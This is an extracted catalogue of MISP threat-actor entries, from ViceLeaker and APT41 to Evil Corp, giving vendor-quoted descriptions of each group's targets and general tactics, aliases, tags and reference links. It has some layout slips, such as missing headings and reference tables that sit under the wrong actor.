In May 2018, we discovered a campaign targeting dozens of mobile Android devices belonging to Israeli citizens. Kaspersky spyware sensors caught the signal of an attack from the device of one of the victims; and a hash of the APK involved (Android application) was tagged in our sample feed for inspection. Once we looked into the file, we quickly found out that the inner-workings of the APK included a malicious payload, embedded in the original code of the application. This was an original spyware program, designed to exfiltrate almost all accessible information. During the course of our research, we noticed that we were not the only ones to have found the operation. Researchers from Bitdefender also released an analysis of one of the samples in a blogpost. Although something had already been published, we decided to do something different with the data we acquired. The following month, we released a private report on our Threat Intelligence Portal to alert our clients about this newly discovered operation and began writing YARA rules in order to catch more samples. We decided to call the operation “ViceLeaker”, because of strings and variables in its code.

The tag is: misp-galaxy:threat-actor="ViceLeaker"

SWEED

Cisco Talos recently identified a large number of ongoing malware distribution campaigns linked to a threat actor we’re calling “SWEED,” including such notable malware as Formbook, Lokibot and Agent Tesla. Based on our research, SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans. SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments. While these campaigns have featured a myriad of different types of malicious documents, the actor primarily tries to infect its victims with a packed version of Agent Tesla — an information stealer that’s been around since at least 2014. The version of Agent Tesla that SWEED is using differs slightly from what we’ve seen in the past in the way that it is packed, as well as how it infects the system. In this post, we’ll run down each campaign we’re able to connect to SWEED, and talk about some of the actor’s tactics, techniques and procedures (TTPs).
Proofpoint researchers have identified a targeted APT campaign that utilized malicious RTF documents to deliver custom malware to unsuspecting victims. We dubbed this campaign “Operation LagTime IT” based on entities that were targeted and the distinctive domains registered to C&C IP infrastructure. Beginning in early 2019, these threat actors targeted a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. We determined that the infection vector observed in this campaign was spear phishing, with emails originating from both free email accounts and compromised user accounts. Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally, this APT group utilizes Poison Ivy payloads that share overlapping command and control (C&C) infrastructure with the newly identified Cotx campaigns. Based on infrastructure overlaps, post-exploitation techniques, and historic TTPs utilized in this operation, Proofpoint analysts attribute this activity to the Chinese APT group tracked internally as TA428. Researchers believe that this activity has an operational and tactical resemblance to the Maudi Surveillance Operation which was previously reported in 2013.

TA428 is also known as:

- Colourful Panda
- BRONZE DUDLEY
LYCEUM

The tag is: `misp-galaxy:threat-actor="LYCEUM"`

LYCEUM is also known as:

- COBALT LYCEUM
- HEXANE
- Spirlin
- siamesekitten

Table 11340. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign">https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-lyceum">https://www.secureworks.com/research/threat-profiles/cobalt-lyceum</a></td>
</tr>
<tr>
<td><a href="https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/">https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/</a></td>
</tr>
<tr>
<td><a href="https://www.clearskysec.com/siamesekitten/">https://www.clearskysec.com/siamesekitten/</a></td>
</tr>
</tbody>
</table>

APT41

APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control.

The tag is: `misp-galaxy:threat-actor="APT41"`

APT41 is also known as:

- G0096
- TA415
- Blackfly
- Grayfly
- LEAD
- BARIUM
- WICKED SPIDER
- WICKED PANDA
- BRONZE ATLAS
- BRONZE EXPORT
• Red Kelpie
• G0044
• Earth Baku
• Amoeba
• HOODOO
• Brass Typhoon

View relationships graph

APT41 has relationships with:

• uses: misp-galaxy:backdoor="Speculoos" with estimative-language:likelihood-probability="very-likely"
• similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-probability="very-likely"
• similar: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="BARIUM" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="LEAD" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="Brass Typhoon" with estimative-language:likelihood-probability="likely"

Table 11341. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/winnti-faq-more-than-just-a-game/57585/">https://securelist.com/winnti-faq-more-than-just-a-game/57585/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/winnti-more-than-just-a-game/37029/">https://securelist.com/winnti-more-than-just-a-game/37029/</a></td>
</tr>
<tr>
<td><a href="http://williamshowalter.com/a-universal-windows-bootkit/">http://williamshowalter.com/a-universal-windows-bootkit/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/games-are-over/70991/">https://securelist.com/games-are-over/70991/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a">https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a</a></td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/">https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/">https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/</a></td>
</tr>
<tr>
<td><a href="https://401trg.com/burning-umbrella/">https://401trg.com/burning-umbrella/</a></td>
</tr>
</tbody>
</table>
Tortoiseshell

A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers’ customers. The group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access.

The tag is: misp-galaxy:threat-actor=”Tortoiseshell”

Tortoiseshell is also known as:

- IMPERIAL KITTEN
• Yellow Liderc
• Imperial Kitten
• TA456
• Crimson Sandstorm

Table 11342. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ctoatncsc.substack.com/p/cto-at-ncsc-summary-week-ending-october">https://ctoatncsc.substack.com/p/cto-at-ncsc-summary-week-ending-october</a></td>
</tr>
</tbody>
</table>

POISON CARP

Between November 2018 and May 2019, senior members of Tibetan groups received malicious links in individually tailored WhatsApp text exchanges with operators posing as NGO workers, journalists, and other fake personas. The links led to code designed to exploit web browser vulnerabilities to install spyware on iOS and Android devices, and in some cases to OAuth phishing pages. This campaign was carried out by what appears to be a single operator that we call POISON CARP.

The tag is: `misp-galaxy:threat-actor="POISON CARP"`

POISON CARP is also known as:

• Evil Eye
• Red Dev 16
• Earth Empusa

Table 11343. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
TA410

Early in August 2019, Proofpoint described what appeared to be state-sponsored activity targeting the US utilities sector with malware that we dubbed “Lookback”. Between August 21 and August 29, 2019, several spear phishing emails were identified targeting additional US companies in the utilities sector. The phishing emails originated from what appears to be an actor-controlled domain: globalenergycertification[.]net. This domain, like those used in previous campaigns, impersonated a licensing body related to the utilities sector. In this case, it masqueraded as the legitimate domain for Global Energy Certification (“GEC”). The emails include a GEC examination-themed body and a malicious Microsoft Word attachment that uses macros to install and run LookBack. (Note confusion between Malware, Campaign and ThreatActor)

The tag is: *misp-galaxy:threat-actor*="TA410"

Table 11344. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Operation Soft Cell

In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting global telecommunications providers carried out by a threat actor using tools and techniques commonly associated with Chinese-affiliated threat actors, such as APT10. This multi-wave attacks focused on obtaining data of specific, high-value targets and resulted in a complete takeover of the network.

The tag is: *misp-galaxy:threat-actor*="Operation Soft Cell"

View relationships graph

Operation Soft Cell has relationships with:

- similar: *misp-galaxy:threat-actor*="GALLIUM" with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:microsoft-activity-group*="GALLIUM" with estimative-language:likelihood-probability="likely"

Table 11345. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers">https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers</a></td>
</tr>
</tbody>
</table>
**Operation WizardOpium**

We are calling these attacks Operation WizardOpium. So far, we have been unable to establish a definitive link with any known threat actors. There are certain very weak code similarities with Lazarus attacks, although these could very well be a false flag. The profile of the targeted website is more in line with earlier DarkHotel attacks that have recently deployed similar false flag attacks.

The tag is: `misp-galaxy:threat-actor="Operation WizardOpium"`

**Calypso**

For the first time, the activity of the Calypso group was detected by specialists of PT Expert Security Center in March 2019, during the work to detect cyber threats. As a result, many malware samples of this group were obtained, affected organizations and control servers of intruders were identified. According to our data, the group has been active since at least September 2016. The main goal of the group is to steal confidential data, the main victims are government agencies from Brazil, India, Kazakhstan, Russia, Thailand, Turkey. Our data suggest that the group has Asian roots.

Description translated from Russian.

The tag is: `misp-galaxy:threat-actor="Calypso"`

Calypso is also known as:

- **BRONZE MEDLEY**

**TA2101**

Proofpoint researchers detected campaigns from a relatively new actor, tracked internally as TA2101, targeting German companies and organizations to deliver and install backdoor malware. The actor initiated their campaigns impersonating the Bundeszentralamt fur Steuern, the German Federal Ministry of Finance, with lookalike domains, verbiage, and stolen branding in the emails. For their campaigns in Germany, the actor chose Cobalt Strike, a commercially licensed software tool that is generally used for penetration testing and emulates the type of backdoor framework used by Metasploit, a similar penetration testing tool. Proofpoint researchers have also observed this actor distributing Maze ransomware, employing similar social engineering techniques to those it uses for Cobalt Strike, while also targeting organizations in Italy and impersonating the Agenzia Delle Entrate, the Italian Revenue Agency. We have also recently observed the actor targeting...
organizations in the United States using the IcedID banking Trojan while impersonating the United States Postal Service (USPS).

The tag is: misp-galaxy:threat-actor="TA2101"

TA2101 is also known as:

- Maze Team
- TWISTED SPIDER
- GOLD VILLAGE

Table 11348. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adversary.crowdstrike.com/adversary/twisted-spider/">https://adversary.crowdstrike.com/adversary/twisted-spider/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic">https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-village">http://www.secureworks.com/research/threat-profiles/gold-village</a></td>
</tr>
</tbody>
</table>

**APT-C-34**

As reported by ZDNet, Chinese cyber-security vendor Qihoo 360 published a report on 2019-11-29 exposing an extensive hacking operation targeting the country of Kazakhstan. Targets included individuals and organizations involving all walks of life, such as government agencies, military personnel, foreign diplomats, researchers, journalists, private companies, the educational sector, religious figures, government dissidents, and foreign diplomats alike. The campaign, Qihoo 360 said, was broad, and appears to have been carried by a threat actor with considerable resources, and one who had the ability to develop their private hacking tools, buy expensive spyware off the surveillance market, and even invest in radio communications interception hardware.

The tag is: misp-galaxy:threat-actor="APT-C-34"

APT-C-34 is also known as:

- Golden Falcon

Table 11349. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html">http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html</a></td>
</tr>
</tbody>
</table>
**luoxk**

Luoxk is a malware campaign targeting web servers throughout Asia, Europe and North America.

The tag is: `misp-galaxy:threat-actor="luoxk"

**RAZOR TIGER**

An actor mainly targeting Pakistan military targets, active since at least 2012. We have low confidence that this malware might be authored by an Indian company. To spread the malware, they use unique implementations to leverage the exploits of known vulnerabilities (such as CVE-2017-11882) and later deploy a Powershell payload in the final stages.

The tag is: `misp-galaxy:threat-actor="RAZOR TIGER"

RAZOR TIGER is also known as:

- SideWinder
- Rattlesnake
- APT-C-17
- T-APT-04

View relationships graph

RAZOR TIGER has relationships with:

- similar: `misp-galaxy:malpedia="SideWinder (Windows)"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:360net-threat-actor="响尾蛇 - APT-C-24"` with estimative-language:likelihood-probability="likely"
**Operation Wocao**

Operation Wocao (我操, “Wǒ cāo”, used as “shit” or “damn”) is the name that Fox-IT uses to describe the hacking activities of a Chinese based hacking group. This report details the profile of a publicly underreported threat actor that Fox-IT has dealt with over the past two years. Fox-IT assesses with high confidence that the actor is a Chinese group and that they are likely working to support the interests of the Chinese government and are tasked with obtaining information for espionage purposes. With medium confidence, Fox-IT assesses that the tools, techniques and procedures are those of the actor referred to as APT20 by industry partners. We have identified victims of this actor in more than 10 countries, in government entities, managed service providers and across a wide variety of industries, including Energy, Health Care and High-Tech.

The tag is: `misp-galaxy:threat-actor="Operation Wocao"

**Budminer**

Based on the evidence we have presented Symantec attributed the activity involving the Dripion malware to the Budminer advanced threat group. While we have not seen new campaigns using Taidoor malware since 2014, we believe the Budminer group has changed tactics to avoid detection after being outed publicly in security white papers and blogs over the past few years.

The tag is: `misp-galaxy:threat-actor="Budminer"

Budminer is also known as:

- Budminer cyberespionage group

**Table 11352. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Table 11353. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.box.com/s/xqh458fe1url7mgl072hhd0yxqw3x0jm">https://app.box.com/s/xqh458fe1url7mgl072hhd0yxqw3x0jm</a></td>
</tr>
</tbody>
</table>
Attor

Adversary group targeting diplomatic missions and governmental organisations.

The tag is: misp-galaxy:threat-actor="Attor"

Table 11354. Table References

Links

https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform

APT-C-12

According to 360 TIC the actor has carried out continuous cyber espionage activities since 2011 on key units and departments of the Chinese government, military industry, scientific research, and finance. The organization focuses on information related to the nuclear industry and scientific research. The targets were mainly concentrated in mainland China...[M]ore than 670 malware samples have been collected from the group, including more than 60 malicious plugins specifically for lateral movement; more than 40 C2 domain names and IPs related to the organization have also been discovered.

The tag is: misp-galaxy:threat-actor="APT-C-12"

APT-C-12 is also known as:

- Sapphire Mushroom
- Blue Mushroom
- NuclearCrisis

Table 11355. Table References

Links

https://mp.weixin.qq.com/s/S-hiGFNC6WXGrkjtAVbpA
https://bitofhex.com/2020/02/10/sapphire-mushroom-Ink-files/

InvisiMole

Adversary group targeting diplomatic missions, governmental and military organisations, mainly in Ukraine.

The tag is: misp-galaxy:threat-actor="InvisiMole"

Table 11356. Table References
ANTHROPOID SPIDER

Publicly known as 'EmpireMonkey', ANTHROPOID SPIDER conducted phishing campaigns in February and March 2019, spoofing French, Norwegian and Belizean financial regulators and institutions. These campaigns used macro-enabled Microsoft documents to deliver the PowerShell Empire post-exploitation framework. ANTHROPOID SPIDER likely enabled a breach that allegedly involved fraudulent transfers over the SWIFT network.

The tag is: `misp-galaxy:threat-actor="ANTHROPOID SPIDER"`

ANTHROPOID SPIDER is also known as:

- Empire Monkey
- CobaltGoblin

Table 11357. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/">https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/</a></td>
</tr>
</tbody>
</table>

CLOCKWORK SPIDER

Opportunistic actor that installs custom root certificate on victim to support man-in-the-middle network monitoring.

The tag is: `misp-galaxy:threat-actor="CLOCKWORK SPIDER"`

Table 11358. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest">https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest</a></td>
</tr>
<tr>
<td><a href="https://fortiguard.com/encyclopedia/botnet/7630456">https://fortiguard.com/encyclopedia/botnet/7630456</a></td>
</tr>
</tbody>
</table>

DOPPEL SPIDER

In June 2019, CrowdStrike Intelligence observed a source code fork of BitPaymer and began tracking the new ransomware strain as DoppelPaymer. Further technical analysis revealed an increasing divergence between two versions of Dridex, with the new version dubbed DoppelDridex.
Based on this evidence, CrowdStrike Intelligence assessed with high confidence that a new group split off from INDRIK SPIDER to form the adversary DOPPEL SPIDER. Following DOPPEL SPIDER's inception, CrowdStrike Intelligence observed multiple BGH incidents attributed to the group, with the largest known ransomware demand being 250 BTC. Other demands were not nearly as high, suggesting that the group conducts network reconnaissance to determine the value of the victim organization.

The tag is: `misp-galaxy:threat-actor="DOPPEL SPIDER"`

DOPPEL SPIDER is also known as:

- GOLD HERON

Table 11359. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-heron">http://www.secureworks.com/research/threat-profiles/gold-heron</a></td>
</tr>
</tbody>
</table>

**MONTY SPIDER**

Spambots continued to decline in 2019, with MONTY SPIDER's CraP2P spambot falling silent in April.

The tag is: `misp-galaxy:threat-actor="MONTY SPIDER"`

Table 11360. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**NARWHAL SPIDER**

NARWHAL SPIDER's operation of Cutwail v2 was limited to country-specific spam campaigns, although late in 2019 there appeared to be an effort to expand by bringing in INDRIK SPIDER as a customer.

The tag is: `misp-galaxy:threat-actor="NARWHAL SPIDER"`

NARWHAL SPIDER is also known as:

- GOLD ESSEX
- TA544

Table 11361. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
NOCTURNAL SPIDER

Mentioned as MaaS operator in CrowdStrike’s 2020 Report.

The tag is: `misp-galaxy:threat-actor="NOCTURNAL SPIDER"`

Table 11362. Table References

Links


SCULLY SPIDER

Mentioned as operator of DanaBot in CrowdStrike's 2020 Report.

The tag is: `misp-galaxy:threat-actor="SCULLY SPIDER"`

Table 11363. Table References

Links


SMOKY SPIDER

Mentioned as operator of SmokeLoader in CrowdStrike’s 2020 Report.

The tag is: `misp-galaxy:threat-actor="SMOKY SPIDER"`

Table 11364. Table References

Links

VENOM SPIDER

VENOM SPIDER is the developer of a large toolset that includes SKID, VenomKit and Taurus Loader. Under the moniker 'badbullzvenom', the adversary has been an active member of Russian underground forums since at least 2012, specializing in the identification of vulnerabilities and the subsequent development of tools for exploitation, as well as for gaining and maintaining access to victim machines and carding services. Recent advertisements for the malware indicate that VENOM SPIDER limits the sale and use of its tools, selling modules only to trusted affiliates. This preference can be seen in the fact that adversaries observed using the tools include the targeted criminal adversary COBALT SPIDER and BGH adversaries WIZARD SPIDER and PINCHY SPIDER.

The tag is: *misp-galaxy:threat-actor="VENOM SPIDER"*

VENOM SPIDER is also known as:

- badbullzvenom
- badbullz

Table 11365. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Operation Shadow Force

Operation Shadow Force is a group of malware that is representative of Shadow Force and Wgdrop from 2013 to 2020, and is a group activity that attacks Korean companies and organizations. The group’s first confirmed attack was in March 2013, but considering the date of malware creation, it is likely to have been active before 2012. Since the malware used mainly by them is Shadow Force, it was named Operation Shadow Force, and it has not been confirmed whether the attacker is associated with a known group.

The tag is: *misp-galaxy:threat-actor="Operation Shadow Force"*

Table 11366. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mobile.twitter.com/mstoned7/status/1247361687570673664">https://mobile.twitter.com/mstoned7/status/1247361687570673664</a></td>
</tr>
</tbody>
</table>

NOTROBIN

Researchers at FireEye report finding a hacking group (dubbed NOTROBIN) that has been bundling mitigation code for NetScaler servers with its exploits. In effect, the hackers exploit the flaw to get access to the server, kill any existing malware, set up their own backdoor, then block off the
vulnerable code from future exploit attempts by mitigation.

The tag is: `misp-galaxy:threat-actor="NOTROBIN"`

Table 11367. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.theregister.co.uk/2020/01/17/hackers_patchCitrix_vulnerability/">https://www.theregister.co.uk/2020/01/17/hackers_patchCitrix_vulnerability/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html">https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html</a></td>
</tr>
</tbody>
</table>

**ItaDuke**

ItaDuke is an actor known since 2013. It used PDF exploits for dropping malware and Twitter accounts to store C2 server urls. On 2018, an actor named DarkUniverse, which was active between 2009 to 2017, was attributed to this ItaDuke by Kaspersky.

The tag is: `misp-galaxy:threat-actor="ItaDuke"`

ItaDuke is also known as:

- DarkUniverse
- SIG27

Table 11368. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2013/02/the-number-of-the-beast.html">https://www.fireeye.com/blog/threat-research/2013/02/the-number-of-the-beast.html</a></td>
</tr>
</tbody>
</table>

**Nazar**

This actor was identified by Juan Andres Guerrero-Saade from the SIG37 cluster as published in the ShadowBrokers' 'Lost in Translation' leak. Earliest known sighting potentially dates back to as far as 2008 with a confirmed center of activity around 2010-2013. The actor name is derived from a PDB debug string fragment: 'khzer'. Victimology indicates targeting of Iran, assessed with low confidence based on VT file submission locations. Nazar employs a modular toolkit where a main dropper silently registers multiple DLLs as OLE controls in the Windows registry. Functionality includes keylogging, sound and screen grabbing, as well as traffic capture using the MicroOlap Packet Sniffer library.

The tag is: `misp-galaxy:threat-actor="Nazar"`

Nazar is also known as:

- SIG37

---

7119
The organization often uses important North Korean time nodes such as holidays and North Korea to conduct fishing activities. The bait includes New Year blessings, Lantern blessings, North Korean celebrations, and important news, overseas personnel contact lists and so on. In addition, the attack organization also has the attack capability of the mobile terminal. The targets of the attack also include diplomatic entities related to North Korea (such as embassy officials in various places), government officials, human rights organizations, North Korean residents abroad, and traders. The victim countries currently monitored include China, North Korea, Japan, Nepal, Singapore, Russia, Poland, Switzerland, etc.

The tag is: misp-galaxy:threat-actor="Higaisa"

COBALT JUNO has operated since at least 2013 and focused on targets located in the Middle East including Iran, Jordan, Egypt & Lebanon. COBALT JUNO custom spyware families SABER1 and SABER2, include surveillance functionality and masquerade as legitimate software utilities such as Adobe Updater, StickyNote and ASKDownloader. CTU researchers assess with moderate confidence that COBALT JUNO operated the ZooPark Android spyware since at least mid-2015. ZooPark was publicly exposed in 2018 in both vendor reporting and a high profile leak of C2 server data. COBALT JUNO is linked to a private security company in Iran and outsources aspects of tool development work to commercial software developers. CTU researchers have observed the group using strategic web compromises to deliver malware. CTU researchers’ discovery of new C2 domains in 2019 suggest the group is still actively performing operations.

The tag is: misp-galaxy:threat-actor="COBALT JUNO"

COBALT JUNO is also known as:

- APT-C-38 (QiAnXin)
- SABER LION
- TG-2884 (SCWX CTU)
COBALT KATANA

COBALT KATANA has been active since at least March 2018, and it focuses many of its operations on organizations based in or associated with Kuwait. The group has targeted government, logistics, and shipping organizations. The threat actors gain initial access to targets using DNS hijacking, strategic web compromise with SMB forced authentication, and password brute force attacks. COBALT KATANA operates a custom platform referred to as the Sakabota Framework, also referred to as Sakabota Core, with a complimentary set of modular backdoors and accessory tools including Gon, Hisoka, Hisoka Netero, Killua, Diezen, and Eye. The group has implemented DNS tunnelling in its malware and malicious scripts and also operates the HyphenShell web shell to strengthen post-intrusion access. CTU researchers assess with moderate confidence that COBALT KATANA operates on behalf of Iran, and elements of its operations such as overlapping infrastructure, use of DNS hijacking, implementation of DNS-based C2 channels in malware and web shell security mechanisms suggest connections to COBALT GYPSY and COBALT EDGEWATER.

The tag is: `misp-galaxy:threat-actor="COBALT KATANA"`

COBALT KATANA is also known as:

- Hive0081 (IBM)
- SectorD01 (NHSC)
- xHunt campaign (Palo Alto)
- Hunter Serpens

Table 11372. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-katana">https://www.secureworks.com/research/threat-profiles/cobalt-katana</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/hunter-serpens/">https://unit42.paloaltonetworks.com/atoms/hunter-serpens/</a></td>
</tr>
</tbody>
</table>

Dark Basin

Dark Basin is a hack-for-hire group that has targeted thousands of individuals and hundreds of institutions on six continents. Targets include advocacy groups and journalists, elected and senior government officials, hedge funds, and multiple industries. Dark Basin extensively targeted American nonprofits, including organisations working on a campaign called #ExxonKnew, which asserted that ExxonMobil hid information about climate change for decades. We also identify Dark Basin as the group behind the phishing of organizations working on net neutrality advocacy, previously reported by the Electronic Frontier Foundation. We link Dark Basin with high confidence to an Indian company, BellTroX InfoTech Services, and related entiti

The tag is: `misp-galaxy:threat-actor="Dark Basin"`

Table 11373. Table References
GALLIUM

GALLIUM, is a threat actor believed to be targeting telecommunication providers over the world, mostly South-East Asia, Europe and Africa. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss.

The tag is: `misp-galaxy:threat-actor="GALLIUM"`

GALLIUM is also known as:

- Red Dev 4
- Alloy Taurus

View relationships graph

GALLIUM has relationships with:

- similar: `misp-galaxy:threat-actor="Operation Soft Cell"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:microsoft-activity-group="GALLIUM"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:microsoft-activity-group="Granite Typhoon"` with estimative-language:likelihood-probability="likely"

Table 11374. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/">https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=fBFm2fiEPTg">https://www.youtube.com/watch?v=fBFm2fiEPTg</a></td>
</tr>
<tr>
<td><a href="https://troopers.de/troopers22/talks/7cv8pz/">https://troopers.de/troopers22/talks/7cv8pz/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/alloytaurus/">https://unit42.paloaltonetworks.com/atoms/alloytaurus/</a></td>
</tr>
</tbody>
</table>

Evilnum

ESET has analyzed the operations of Evilnum, the APT group behind the Evilnum malware previously seen in attacks against financial technology companies. While said malware has been seen in the wild since at least 2018 and documented previously, little has been published about the group behind it and how it operates. The group’s targets remain fintech companies, but its toolset and infrastructure have evolved and now consist of a mix of custom, homemade malware combined with tools purchased from Golden Chickens, a Malware-as-a-Service (MaaS) provider
whose infamous customers include FIN6 and Cobalt Group.

The tag is: misp-galaxy:threat-actor="Evilnum"

Evilnum is also known as:

• DeathStalker

Table 11375. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/deathstalker-mercenary-triumvirate/98177/">https://securelist.com/deathstalker-mercenary-triumvirate/98177/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/">https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/</a></td>
</tr>
</tbody>
</table>

Fox Kitten

PIONEER KITTEN is an Iran-based adversary that has been active since at least 2017 and has a suspected nexus to the Iranian government. This adversary appears to be primarily focused on gaining and maintaining access to entities possessing sensitive information of likely intelligence interest to the Iranian government. According to DRAGOS, they also targeted ICS-related entities using known VPN vulnerabilities. They are widely known to use open source penetration testing tools for reconnaissance and to establish encrypted communications.

The tag is: misp-galaxy:threat-actor="Fox Kitten"

Fox Kitten is also known as:

• PIONEER KITTEN
• PARISITE
• UNC757

View relationships graph

Fox Kitten has relationships with:

• similar: misp-galaxy:microsoft-activity-group="Lemon Sandstorm" with estimative-language:likelihood-probability="likely"

Table 11376. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://youtu.be/pBDu8EGWRC4?t=2492">https://youtu.be/pBDu8EGWRC4?t=2492</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/threat/parisite">https://www.dragos.com/threat/parisite</a></td>
</tr>
</tbody>
</table>
XDSpy

Rare is the APT group that goes largely undetected for nine years, but XDSpy is just that; a previously undocumented espionage group that has been active since 2011. It has attracted very little public attention, with the exception of an advisory from the Belarusian CERT in February 2020. In the interim, the group has compromised many government agencies and private companies in Eastern Europe and the Balkans.

The tag is: misp-galaxy:threat-actor="XDSpy"

Table 11377. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/eset/malware-ioc/tree/master/xdspy/">https://github.com/eset/malware-ioc/tree/master/xdspy/</a></td>
</tr>
</tbody>
</table>

Evil Corp

Evil Corp is an international cybercrime network. In December of 2019 the US Federal Government offered a $5M bounty for information leading to the arrest and conviction of Maksim V. Yakubets for allegedly orchestrating Evil Corp operations. Responsible for stealing over $100M from businesses and consumers. The Evil Corp organization is known for utilizing custom strains of malware such as JabberZeus, Bugat and Dridex to steal banking credentials.

The tag is: misp-galaxy:threat-actor="Evil Corp"

